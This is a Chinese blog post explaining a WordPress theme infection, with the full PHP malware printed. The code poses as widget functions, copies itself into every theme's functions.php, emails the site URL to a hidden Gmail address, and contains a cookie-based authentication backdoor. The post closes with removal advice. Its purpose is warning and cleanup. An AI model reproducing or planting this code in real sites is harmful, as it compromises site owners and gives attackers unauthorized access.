大挖在出售主题时,时常会有客户截图说安装wordpress主题时,启用后会有一段错误提示“Fatal error: Cannot redeclare _function _check_active_widget()”后面会跟着显示出错的文件路径的为function.php还有对应的行号。当你在主题目录下打开functions.php,会发现在functions.php文件结尾处的最后一个“?>”添加了一大段类似下面的代码。伪装成是小工具之类的函数,实际是恶意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 |
<?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?> |
当wordpress启用新的主题时,会调用到function.php里面的函数,而这段恶意代码会检测您的主题路径,之后把其它的主题一并感染,而且它加了和奶多伪装代码,且变量众多。它会藏匿在某一个主题的functions.php文件里,当你启用主题时,这段代码就会蔓延到你当下主题目录下的所有主题的functions.php文章里,添加在所有主题内复制这段代码。
首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的functions.php,并在functions.php文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的url地址到某邮箱(代码已经将email地址拆分转义)。
解决方法:
把感染了代码的主题根目录下的functions.php文件结尾处的最后一个“?>”后面的大段恶意代码删除即可